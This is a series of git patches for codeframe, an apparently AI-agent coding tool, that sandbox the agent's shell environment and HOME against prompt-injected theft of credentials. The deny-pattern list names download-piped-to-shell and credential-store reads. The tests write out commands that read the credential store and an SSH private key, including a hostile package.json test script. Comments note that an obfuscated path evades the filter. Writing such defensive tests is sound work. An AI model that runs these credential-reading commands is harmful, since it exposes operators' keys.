CODEFRAME_BOOTSTRAP_TOKEN= # Out-of-band secret gating the # unauthenticated POST /auth/register diff --git a/codeframe/core/hook_trust.py b/codeframe/core/hook_trust.py index 46b66145..1c632d92 100644 --- a/codeframe/core/hook_trust.py +++ b/codeframe/core/hook_trust.py @@ -20,7 +20,6 @@ import json import logging import os -import sys import tempfile from pathlib import Path from typing import TYPE_CHECKING @@ -105,14 +104,6 @@ def allow_hooks_requested() -> bool: return os.getenv(ALLOW_HOOKS_ENV, "").strip().lower() in {"1", "true", "yes", "on"} -def is_interactive() -> bool: - """Whether there is a human on the other end to answer a prompt.""" - try: - return sys.stdin.isatty() and sys.stdout.isatty() - except (AttributeError, ValueError): - return False - - def describe_hooks(hooks: "HooksConfig") -> str: """The exact commands, for showing the operator before anything runs.""" from dataclasses import fields From 3680112840e5a6f231a88c3c0675d1cb340d5e01 Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 15:06:20 -0700 Subject: [PATCH 4/9] fix(security): refuse credential-store paths in run_command (#905) --- codeframe/core/dangerous_commands.py | 7 +++++ .../core/test_untrusted_repo_execution_905.py | 26 +++++++++++++++++++ 2 files changed, 33 insertions(+) diff --git a/codeframe/core/dangerous_commands.py b/codeframe/core/dangerous_commands.py index f938d28f..eb01a8f1 100644 --- a/codeframe/core/dangerous_commands.py +++ b/codeframe/core/dangerous_commands.py @@ -41,6 +41,13 @@ (r"\b(wget|curl)\s+.*\|\s*(ba)?sh", "download piped to shell"), # Overwriting important system files (r">\s*/(etc|bin|usr|lib|sbin)/", "overwriting system directory"), + # Reaching the operator's credential store (#905). run_command already gets a + # sandboxed HOME, so `~/.codeframe` and `$HOME/.codeframe` resolve into the + # workspace — this catches the absolute path an agent can still discover via + # `ls /home`. Defense in depth against prompt injection, not a containment + # boundary: an obfuscated path defeats it, and only OS-level isolation + # (worktree/E2B/container) actually contains a hostile command. + (r"\.codeframe/credentials", "reading the credential store"), ] diff --git a/tests/core/test_untrusted_repo_execution_905.py b/tests/core/test_untrusted_repo_execution_905.py index 25f1b71e..08fdd5f1 100644 --- a/tests/core/test_untrusted_repo_execution_905.py +++ b/tests/core/test_untrusted_repo_execution_905.py @@ -331,6 +331,32 @@ def test_run_command_xdg_paths_do_not_escape_to_the_operator_home(tmp_path, monk assert str(operator_home) not in result.content +def test_run_command_refuses_the_credential_store_by_absolute_path(tmp_path, monkeypatch): + """The sandboxed HOME does not stop an agent that guessed /home/. + + Defense in depth, not containment — an obfuscated path defeats the pattern. + It exists because the realistic case is a prompt-injected agent typing the + obvious command, not a human working around the filter. + """ + from codeframe.core.tools import _execute_run_command + + operator_home = tmp_path / "operator4" + (operator_home / ".codeframe").mkdir(parents=True) + (operator_home / ".codeframe" / "credentials.encrypted").write_text("SECRET-MATERIAL") + + workspace = tmp_path / "ws4" + workspace.mkdir() + + result = _execute_run_command( + {"command": f"cat {operator_home}/.codeframe/credentials.encrypted"}, + workspace, + "call-4", + ) + + assert result.is_error + assert "SECRET-MATERIAL" not in result.content + + def test_run_command_home_is_writable(tmp_path, monkeypatch): """Fail-closed must not mean broken: tools that write dotfiles still work.""" from codeframe.core.tools import _execute_run_command From 3dfe07799ce5216649eb048e7987290d64757507 Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 15:10:50 -0700 Subject: [PATCH 5/9] test: cover the cf hooks trust/show CLI surface (#905) --- tests/cli/test_hooks_trust_commands.py | 85 ++++++++++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 tests/cli/test_hooks_trust_commands.py diff --git a/tests/cli/test_hooks_trust_commands.py b/tests/cli/test_hooks_trust_commands.py new file mode 100644 index 00000000..56832bab --- /dev/null +++ b/tests/cli/test_hooks_trust_commands.py @@ -0,0 +1,85 @@ +"""`cf hooks trust` / `cf hooks show` — the operator surface of the #905 gate. + +The core gate is covered in tests/core/test_untrusted_repo_execution_905.py; +these cover the commands an operator actually types to interact with it. +""" + +from pathlib import Path + +import pytest +from typer.testing import CliRunner + +from codeframe.cli.hooks_commands import hooks_app +from codeframe.core import hook_trust +from codeframe.core.config import EnvironmentConfig, HooksConfig, save_environment_config + +pytestmark = pytest.mark.v2 + +runner = CliRunner() + + +@pytest.fixture +def trust_home(tmp_path, monkeypatch): + home = tmp_path / "operator-home" + home.mkdir() + monkeypatch.setattr(Path, "home", classmethod(lambda cls: home)) + monkeypatch.delenv(hook_trust.ALLOW_HOOKS_ENV, raising=False) + return home + + +@pytest.fixture +def workspace(tmp_path): + ws = tmp_path / "repo" + ws.mkdir() + save_environment_config(ws, EnvironmentConfig(hooks=HooksConfig(after_init="echo hi"))) + return ws + + +def test_show_reports_untrusted(trust_home, workspace): + result = runner.invoke(hooks_app, ["show", "-w", str(workspace)]) + + assert result.exit_code == 0 + assert "Not trusted" in result.output + + +def test_trust_prints_the_commands_and_requires_confirmation(trust_home, workspace): + """Declining must leave the hooks unapproved — the default is 'no'.""" + result = runner.invoke(hooks_app, ["trust", "-w", str(workspace)], input="n\n") + + assert result.exit_code == 1 + assert "echo hi" in result.output + assert not hook_trust.is_trusted(workspace, HooksConfig(after_init="echo hi")) + + +def test_trust_records_the_decision(trust_home, workspace): + result = runner.invoke(hooks_app, ["trust", "-w", str(workspace), "--yes"]) + + assert result.exit_code == 0 + assert hook_trust.is_trusted(workspace, HooksConfig(after_init="echo hi")) + + show = runner.invoke(hooks_app, ["show", "-w", str(workspace)]) + assert "Trusted" in show.output + assert "Not trusted" not in show.output + + +def test_trust_refuses_when_no_hooks_are_configured(trust_home, tmp_path): + empty = tmp_path / "no-hooks" + empty.mkdir() + save_environment_config(empty, EnvironmentConfig()) + + result = runner.invoke(hooks_app, ["trust", "-w", str(empty), "--yes"]) + + assert result.exit_code == 1 + assert "nothing to trust" in result.output + + +def test_setting_a_hook_trusts_it(trust_home, workspace): + """An operator's own edit carries its own approval, or it would never run.""" + result = runner.invoke( + hooks_app, ["set", "before_task", "echo starting", "-w", str(workspace)] + ) + + assert result.exit_code == 0 + assert hook_trust.is_trusted( + workspace, HooksConfig(after_init="echo hi", before_task="echo starting") + ) From 013062c94a50911c670bb568ffd792f945700a74 Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 15:20:23 -0700 Subject: [PATCH 6/9] fix(security): drop XDG_* too when the agent HOME sandbox cannot be built (#905) --- codeframe/core/tools.py | 8 +++-- .../core/test_untrusted_repo_execution_905.py | 32 +++++++++++++++++++ 2 files changed, 38 insertions(+), 2 deletions(-) diff --git a/codeframe/core/tools.py b/codeframe/core/tools.py index a10eea53..b36b2dc2 100644 --- a/codeframe/core/tools.py +++ b/codeframe/core/tools.py @@ -854,9 +854,13 @@ def _execute_run_command( for xdg in ("XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_DATA_HOME"): env[xdg] = str(sandbox_home / xdg.lower()) except OSError: - # If the sandbox cannot be created, drop HOME entirely rather than fall - # back to the operator's — fail closed. + # If the sandbox cannot be created, drop HOME *and* the XDG paths rather + # than fall back to the operator's — fail closed. XDG_CONFIG_HOME is on + # the allowlist above, so leaving it set would still point at the + # operator's config dir (~/.config/gh/hosts.yml and friends). env.pop("HOME", None) + for xdg in ("XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_DATA_HOME"): + env.pop(xdg, None) for venv_dir in (".venv", "venv"): venv_bin = workspace_path / venv_dir / "bin" diff --git a/tests/core/test_untrusted_repo_execution_905.py b/tests/core/test_untrusted_repo_execution_905.py index 08fdd5f1..776eec09 100644 --- a/tests/core/test_untrusted_repo_execution_905.py +++ b/tests/core/test_untrusted_repo_execution_905.py @@ -331,6 +331,38 @@ def test_run_command_xdg_paths_do_not_escape_to_the_operator_home(tmp_path, monk assert str(operator_home) not in result.content +def test_unbuildable_sandbox_drops_home_and_xdg(tmp_path, monkeypatch): + """Fail closed on both: XDG_CONFIG_HOME is on the allowlist too. + + Leaving it set would still point at ~/.config (gh/hosts.yml and friends), + which the credential-store pattern does not cover. + """ + from codeframe.core import tools + + operator_home = tmp_path / "operator5" + operator_home.mkdir() + monkeypatch.setenv("HOME", str(operator_home)) + monkeypatch.setenv("XDG_CONFIG_HOME", str(operator_home / ".config")) + + workspace = tmp_path / "ws5" + workspace.mkdir() + + real_mkdir = Path.mkdir + + def refuse_sandbox(self, *args, **kwargs): + if self.name == "agent-home": + raise OSError("read-only filesystem") + return real_mkdir(self, *args, **kwargs) + + monkeypatch.setattr(Path, "mkdir", refuse_sandbox) + + result = tools._execute_run_command( + {"command": "echo [$HOME][$XDG_CONFIG_HOME][$XDG_CACHE_HOME]"}, workspace, "call-5" + ) + + assert str(operator_home) not in result.content + + def test_run_command_refuses_the_credential_store_by_absolute_path(tmp_path, monkeypatch): """The sandboxed HOME does not stop an agent that guessed /home/. From 90d46152b9d098aa92543e96f983187ca2edeca1 Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 15:25:20 -0700 Subject: [PATCH 7/9] fix(security): sandbox run_tests and the plan-engine shell too (#905 review) --- codeframe/core/agent_env.py | 86 +++++++++++++++++++ codeframe/core/executor.py | 9 ++ codeframe/core/tools.py | 72 +++------------- .../core/test_untrusted_repo_execution_905.py | 50 +++++++++++ 4 files changed, 158 insertions(+), 59 deletions(-) create mode 100644 codeframe/core/agent_env.py diff --git a/codeframe/core/agent_env.py b/codeframe/core/agent_env.py new file mode 100644 index 00000000..57eadd04 --- /dev/null +++ b/codeframe/core/agent_env.py @@ -0,0 +1,86 @@ +"""The environment every agent-triggered subprocess runs with (#721, #905). + +A **leaf module**: stdlib only, so both ``core/tools.py`` (ReAct engine) and +``core/executor.py`` (legacy plan engine) can converge on it without a cycle. + +Two things it guarantees: + +* **No secrets in the environment** (#721) — an allowlist, so a credential added + to the operator's shell later is excluded by construction rather than by + remembering to blocklist it. +* **No pointer to secrets** (#905) — ``HOME`` and the ``XDG_*`` paths resolve + into a per-workspace scratch directory. The allowlist kept ``ANTHROPIC_API_KEY`` + out; ``HOME`` would have handed over the directory holding it. + +This is not containment. The subprocess still runs as the operator with normal +filesystem access, so a command naming an absolute path still reaches whatever +that path holds. Only OS-level isolation (worktree/E2B/container) contains a +hostile command; this closes the paths a prompt-injected agent actually takes. +""" + +from __future__ import annotations + +import os +from pathlib import Path + +#: The agent's shell inherits a *deny-by-default* environment. Without this it +#: would receive every secret in the operator's shell — ANTHROPIC_API_KEY, +#: OPENAI_API_KEY, AUTH_SECRET, etc. These are the non-secret vars needed to run +#: typical build/test/git commands; PATH and VIRTUAL_ENV are adjusted below for +#: venv activation. +SAFE_ENV_VARS = frozenset({ + "PATH", "HOME", "USER", "LOGNAME", "SHELL", "PWD", "TERM", "TZ", + "LANG", "LANGUAGE", "LC_ALL", "LC_CTYPE", + "TMPDIR", "TMP", "TEMP", + "PYTHONPATH", "PYTHONUNBUFFERED", "PYTHONDONTWRITEBYTECODE", "VIRTUAL_ENV", + "NODE_ENV", "NODE_PATH", "GOPATH", "GOCACHE", "CARGO_HOME", "RUSTUP_HOME", + "JAVA_HOME", "XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_DATA_HOME", + "SYSTEMROOT", "SYSTEMDRIVE", "COMSPEC", # Windows shell essentials + # Proxy config + CI signal (infra, not secrets) so npm/pip/curl and + # CI-aware test runners work; git identity for agent commits (#721 review). + "HTTP_PROXY", "HTTPS_PROXY", "FTP_PROXY", "ALL_PROXY", "NO_PROXY", + "http_proxy", "https_proxy", "ftp_proxy", "all_proxy", "no_proxy", + "CI", + "GIT_AUTHOR_NAME", "GIT_AUTHOR_EMAIL", + "GIT_COMMITTER_NAME", "GIT_COMMITTER_EMAIL", +}) + +#: These default to ``$HOME/...`` when unset, so pinning ``HOME`` alone would +#: still let an XDG path resolve back to the operator's real home. +_XDG_VARS = ("XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_DATA_HOME") + + +def build_agent_env(workspace_path: Path) -> dict[str, str]: + """The environment for a subprocess an agent (or repo content) can steer. + + Args: + workspace_path: The workspace the command runs in. The sandboxed ``HOME`` + lives under its ``.codeframe/`` state dir, so it is per-workspace and + inspectable. + """ + env = {k: os.environ[k] for k in SAFE_ENV_VARS if k in os.environ} + + # A real directory rather than a nonexistent path, so tools that write + # dotfiles (npm, pip, cargo, git) still work. + sandbox_home = workspace_path / ".codeframe" / "agent-home" + try: + sandbox_home.mkdir(parents=True, exist_ok=True) + env["HOME"] = str(sandbox_home) + for xdg in _XDG_VARS: + env[xdg] = str(sandbox_home / xdg.lower()) + except OSError: + # Fail closed: drop the pointers entirely rather than fall back to the + # operator's. XDG_CONFIG_HOME is on the allowlist, so leaving it set + # would still reach ~/.config (gh/hosts.yml and friends). + env.pop("HOME", None) + for xdg in _XDG_VARS: + env.pop(xdg, None) + + for venv_dir in (".venv", "venv"): + venv_bin = workspace_path / venv_dir / "bin" + if venv_bin.is_dir(): + env["PATH"] = str(venv_bin) + os.pathsep + env.get("PATH", "") + env["VIRTUAL_ENV"] = str(workspace_path / venv_dir) + break + + return env diff --git a/codeframe/core/executor.py b/codeframe/core/executor.py index d35afc76..d4876084 100644 --- a/codeframe/core/executor.py +++ b/codeframe/core/executor.py @@ -15,6 +15,7 @@ from pathlib import Path from typing import Optional, TYPE_CHECKING +from codeframe.core.agent_env import build_agent_env from codeframe.core.planner import PlanStep, StepType, ImplementationPlan from codeframe.core.context import TaskContext from codeframe.adapters.llm import LLMProvider, Purpose @@ -498,6 +499,11 @@ def _execute_shell_command(self, step: PlanStep) -> StepResult: shell_operators = ['|', '&&', '||', '>', '<', '>>', '<<', ';', '`', '$('] requires_shell = any(op in command for op in shell_operators) + # Same credential-free env + sandboxed HOME as the ReAct engine (#905 + # review). These commands are LLM-authored and run in a workspace whose + # contents may be untrusted, so the legacy engine gets the same floor. + env = build_agent_env(Path(self.repo_path)) + try: if requires_shell: # Command contains shell operators, must use shell=True @@ -508,6 +514,7 @@ def _execute_shell_command(self, step: PlanStep) -> StepResult: capture_output=True, text=True, timeout=self.command_timeout, + env=env, ) else: # Safe to use shell=False with parsed arguments @@ -520,6 +527,7 @@ def _execute_shell_command(self, step: PlanStep) -> StepResult: capture_output=True, text=True, timeout=self.command_timeout, + env=env, ) except ValueError: # shlex.split failed (malformed command), fall back to shell=True @@ -530,6 +538,7 @@ def _execute_shell_command(self, step: PlanStep) -> StepResult: capture_output=True, text=True, timeout=self.command_timeout, + env=env, ) if result.returncode == 0: diff --git a/codeframe/core/tools.py b/codeframe/core/tools.py index b36b2dc2..63b37155 100644 --- a/codeframe/core/tools.py +++ b/codeframe/core/tools.py @@ -23,6 +23,7 @@ from pathlib import Path from codeframe.adapters.llm.base import Tool, ToolCall, ToolResult +from codeframe.core.agent_env import SAFE_ENV_VARS, build_agent_env from codeframe.core.context import DEFAULT_IGNORE_PATTERNS from codeframe.core.editor import EditOperation, SearchReplaceEditor from codeframe.core.executor import is_dangerous_command @@ -678,6 +679,9 @@ def _execute_run_tests( text=True, timeout=300, cwd=str(workspace_path), + # `npm test` runs whatever the repo's package.json says, so this is + # repo-controlled code and needs the same sandbox as run_command. + env=build_agent_env(workspace_path), ) except subprocess.TimeoutExpired: return ToolResult( @@ -784,28 +788,11 @@ def _execute_run_tests( _RUN_COMMAND_MAX_TIMEOUT = 300 # Allowlist of environment variables passed to LLM-driven `run_command` (#721). -# `command` is steered by task/PRD text and imported GitHub-issue bodies, so -# inheriting the operator's full env (os.environ.copy) is an indirect-prompt- -# injection path to exfiltrating ANTHROPIC/OPENAI/GITHUB/E2B keys, DATABASE_URL, -# AUTH_SECRET, etc. We pass ONLY these non-secret vars needed to run typical -# build/test/git commands; every credential is excluded by construction. PATH -# and VIRTUAL_ENV are set explicitly below for venv activation. -_RUN_COMMAND_SAFE_ENV_VARS = frozenset({ - "PATH", "HOME", "USER", "LOGNAME", "SHELL", "PWD", "TERM", "TZ", - "LANG", "LANGUAGE", "LC_ALL", "LC_CTYPE", - "TMPDIR", "TMP", "TEMP", - "PYTHONPATH", "PYTHONUNBUFFERED", "PYTHONDONTWRITEBYTECODE", "VIRTUAL_ENV", - "NODE_ENV", "NODE_PATH", "GOPATH", "GOCACHE", "CARGO_HOME", "RUSTUP_HOME", - "JAVA_HOME", "XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_DATA_HOME", - "SYSTEMROOT", "SYSTEMDRIVE", "COMSPEC", # Windows shell essentials - # Proxy config + CI signal (infra, not secrets) so npm/pip/curl and - # CI-aware test runners work; git identity for agent commits (#721 review). - "HTTP_PROXY", "HTTPS_PROXY", "FTP_PROXY", "ALL_PROXY", "NO_PROXY", - "http_proxy", "https_proxy", "ftp_proxy", "all_proxy", "no_proxy", - "CI", - "GIT_AUTHOR_NAME", "GIT_AUTHOR_EMAIL", - "GIT_COMMITTER_NAME", "GIT_COMMITTER_EMAIL", -}) + +# Historical import path: the allowlist and the sandboxed HOME now live in the +# leaf module core/agent_env.py so the legacy plan engine converges on the same +# environment (#905 review). +_RUN_COMMAND_SAFE_ENV_VARS = SAFE_ENV_VARS def _execute_run_command( @@ -831,43 +818,10 @@ def _execute_run_command( is_error=True, ) - # Build a minimal, credential-free env from the allowlist (#721), then - # layer venv activation on top. Never os.environ.copy() here — that would - # hand every host secret to an LLM-authored shell command. - env = {k: os.environ[k] for k in _RUN_COMMAND_SAFE_ENV_VARS if k in os.environ} - - # HOME points at a scratch directory, not the operator's (#905). The - # allowlist above kept secrets out of the *environment*, but HOME is a - # pointer to them: ~/.codeframe holds the credential store, whose Fernet key - # is derived from the (non-secret) machine id unless - # CODEFRAME_CREDENTIAL_SECRET is set — so a prompt-injected `cat ~/.codeframe/...` - # could re-derive it and exfiltrate every provider key and the GitHub PAT. - # A real directory rather than a nonexistent path so tools that write dotfiles - # (npm, pip, cargo, git) still work; it lives under the workspace's state dir - # so it is per-workspace and inspectable. - sandbox_home = workspace_path / ".codeframe" / "agent-home" - try: - sandbox_home.mkdir(parents=True, exist_ok=True) - env["HOME"] = str(sandbox_home) - # These default to $HOME/... when unset; pin them so nothing resolves - # back to the operator's real home through an XDG path. - for xdg in ("XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_DATA_HOME"): - env[xdg] = str(sandbox_home / xdg.lower()) - except OSError: - # If the sandbox cannot be created, drop HOME *and* the XDG paths rather - # than fall back to the operator's — fail closed. XDG_CONFIG_HOME is on - # the allowlist above, so leaving it set would still point at the - # operator's config dir (~/.config/gh/hosts.yml and friends). - env.pop("HOME", None) - for xdg in ("XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_DATA_HOME"): - env.pop(xdg, None) - - for venv_dir in (".venv", "venv"): - venv_bin = workspace_path / venv_dir / "bin" - if venv_bin.is_dir(): - env["PATH"] = str(venv_bin) + os.pathsep + env.get("PATH", "") - env["VIRTUAL_ENV"] = str(workspace_path / venv_dir) - break + # Credential-free env with a sandboxed HOME (#721, #905). Never + # os.environ.copy() here — that would hand every host secret, and the path + # to the credential store, to an LLM-authored shell command. + env = build_agent_env(workspace_path) try: proc = subprocess.run( diff --git a/tests/core/test_untrusted_repo_execution_905.py b/tests/core/test_untrusted_repo_execution_905.py index 776eec09..c7ee7c17 100644 --- a/tests/core/test_untrusted_repo_execution_905.py +++ b/tests/core/test_untrusted_repo_execution_905.py @@ -389,6 +389,56 @@ def test_run_command_refuses_the_credential_store_by_absolute_path(tmp_path, mon assert "SECRET-MATERIAL" not in result.content +def test_run_tests_does_not_hand_the_repo_the_operator_home(tmp_path, monkeypatch): + """`npm test` runs whatever package.json says — that is repo-controlled code. + + Patching only run_command would have left this sibling caller open: the + repo commits a `test` script that reads ~/.codeframe and the agent calling + the run_tests tool is enough to run it. + """ + from codeframe.core.tools import _execute_run_tests + + operator_home = tmp_path / "operator6" + (operator_home / ".codeframe").mkdir(parents=True) + (operator_home / ".codeframe" / "credentials.encrypted").write_text("SECRET-MATERIAL") + monkeypatch.setenv("HOME", str(operator_home)) + + workspace = tmp_path / "hostile" + workspace.mkdir() + (workspace / "package.json").write_text( + '{"name": "x", "scripts": {"test": "cat $HOME/.codeframe/credentials.encrypted"}}' + ) + + result = _execute_run_tests({}, workspace, "call-t") + + assert "SECRET-MATERIAL" not in result.content + + +def test_plan_engine_shell_gets_the_same_sandbox(tmp_path, monkeypatch): + """The legacy `--engine plan` executor had no sandbox at all.""" + from codeframe.core.executor import Executor + from codeframe.core.planner import PlanStep, StepType + + operator_home = tmp_path / "operator7" + (operator_home / ".codeframe").mkdir(parents=True) + (operator_home / ".codeframe" / "credentials.encrypted").write_text("SECRET-MATERIAL") + monkeypatch.setenv("HOME", str(operator_home)) + + workspace = tmp_path / "ws7" + workspace.mkdir() + + executor = Executor(llm_provider=None, repo_path=workspace) + step = PlanStep( + index=1, + type=StepType.SHELL_COMMAND, + description="read the store", + target="cat $HOME/.codeframe/credentials.encrypted", + ) + result = executor._execute_shell_command(step) + + assert "SECRET-MATERIAL" not in (result.output or "") + (result.error or "") + + def test_run_command_home_is_writable(tmp_path, monkeypatch): """Fail-closed must not mean broken: tools that write dotfiles still work.""" from codeframe.core.tools import _execute_run_command From 76510106f194483f54682197847ffc5cd870ef5f Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 15:26:12 -0700 Subject: [PATCH 8/9] test: make the sibling-caller sandbox tests non-tautological --- .../core/test_untrusted_repo_execution_905.py | 42 ++++++++++++------- 1 file changed, 27 insertions(+), 15 deletions(-) diff --git a/tests/core/test_untrusted_repo_execution_905.py b/tests/core/test_untrusted_repo_execution_905.py index c7ee7c17..df23b70a 100644 --- a/tests/core/test_untrusted_repo_execution_905.py +++ b/tests/core/test_untrusted_repo_execution_905.py @@ -390,38 +390,50 @@ def test_run_command_refuses_the_credential_store_by_absolute_path(tmp_path, mon def test_run_tests_does_not_hand_the_repo_the_operator_home(tmp_path, monkeypatch): - """`npm test` runs whatever package.json says — that is repo-controlled code. + """`npm test` / `pytest` run whatever the repo says — repo-controlled code. - Patching only run_command would have left this sibling caller open: the - repo commits a `test` script that reads ~/.codeframe and the agent calling - the run_tests tool is enough to run it. + Patching only run_command would have left this sibling caller open. The + test script records the $HOME it was given into a workspace file, so the + assertion is on what the subprocess actually saw, not on tool output + formatting (run_tests returns only a summary line when tests pass). """ from codeframe.core.tools import _execute_run_tests operator_home = tmp_path / "operator6" - (operator_home / ".codeframe").mkdir(parents=True) - (operator_home / ".codeframe" / "credentials.encrypted").write_text("SECRET-MATERIAL") + operator_home.mkdir() monkeypatch.setenv("HOME", str(operator_home)) workspace = tmp_path / "hostile" workspace.mkdir() - (workspace / "package.json").write_text( - '{"name": "x", "scripts": {"test": "cat $HOME/.codeframe/credentials.encrypted"}}' + (workspace / "pyproject.toml").write_text( + '[project]\nname = "hostile"\nversion = "0"\n' + ) + (workspace / "test_leak.py").write_text( + "import os, pathlib\n" + "def test_record_home():\n" + " pathlib.Path('seen_home.txt').write_text(os.environ.get('HOME', ''))\n" ) - result = _execute_run_tests({}, workspace, "call-t") + _execute_run_tests({}, workspace, "call-t") - assert "SECRET-MATERIAL" not in result.content + seen = workspace / "seen_home.txt" + assert seen.exists(), "the repo's test suite did not run; the test proves nothing" + assert seen.read_text().strip() != str(operator_home) def test_plan_engine_shell_gets_the_same_sandbox(tmp_path, monkeypatch): - """The legacy `--engine plan` executor had no sandbox at all.""" + """The legacy `--engine plan` executor had no sandbox at all. + + Deliberately does NOT name the credential store: that string is caught by + the dangerous-command regex, which would make this pass whether or not the + environment is sandboxed. + """ from codeframe.core.executor import Executor from codeframe.core.planner import PlanStep, StepType operator_home = tmp_path / "operator7" - (operator_home / ".codeframe").mkdir(parents=True) - (operator_home / ".codeframe" / "credentials.encrypted").write_text("SECRET-MATERIAL") + (operator_home / ".ssh").mkdir(parents=True) + (operator_home / ".ssh" / "id_rsa").write_text("SECRET-MATERIAL") monkeypatch.setenv("HOME", str(operator_home)) workspace = tmp_path / "ws7" @@ -431,8 +443,8 @@ def test_plan_engine_shell_gets_the_same_sandbox(tmp_path, monkeypatch): step = PlanStep( index=1, type=StepType.SHELL_COMMAND, - description="read the store", - target="cat $HOME/.codeframe/credentials.encrypted", + description="read an operator dotfile", + target="cat $HOME/.ssh/id_rsa", ) result = executor._execute_shell_command(step) From 5fa5194686de8bac263cff297fb239451db25a92 Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 15:26:45 -0700 Subject: [PATCH 9/9] test: cover both plan-engine execution branches --- .../core/test_untrusted_repo_execution_905.py | 26 +++++++++++++++---- 1 file changed, 21 insertions(+), 5 deletions(-) diff --git a/tests/core/test_untrusted_repo_execution_905.py b/tests/core/test_untrusted_repo_execution_905.py index df23b70a..0b9673a7 100644 --- a/tests/core/test_untrusted_repo_execution_905.py +++ b/tests/core/test_untrusted_repo_execution_905.py @@ -440,15 +440,31 @@ def test_plan_engine_shell_gets_the_same_sandbox(tmp_path, monkeypatch): workspace.mkdir() executor = Executor(llm_provider=None, repo_path=workspace) - step = PlanStep( + + # Both execution branches: the executor picks shell=True only when the + # command contains a shell operator, and shlex-split argv otherwise. The + # argv branch still reads HOME — from the environment rather than from `$` + # expansion — so covering only one would leave the other untested. + shell_step = PlanStep( index=1, type=StepType.SHELL_COMMAND, - description="read an operator dotfile", - target="cat $HOME/.ssh/id_rsa", + description="read an operator dotfile via the shell", + target="cat $HOME/.ssh/id_rsa && true", + ) + argv_step = PlanStep( + index=2, + type=StepType.SHELL_COMMAND, + description="read an operator dotfile via argv", + target=( + "python3 -c " + "\"import os;print(open(os.environ['HOME']+'/.ssh/id_rsa').read())\"" + ), ) - result = executor._execute_shell_command(step) - assert "SECRET-MATERIAL" not in (result.output or "") + (result.error or "") + for step in (shell_step, argv_step): + result = executor._execute_shell_command(step) + combined = (result.output or "") + (result.error or "") + assert "SECRET-MATERIAL" not in combined, f"leaked via {step.description}" def test_run_command_home_is_writable(tmp_path, monkeypatch):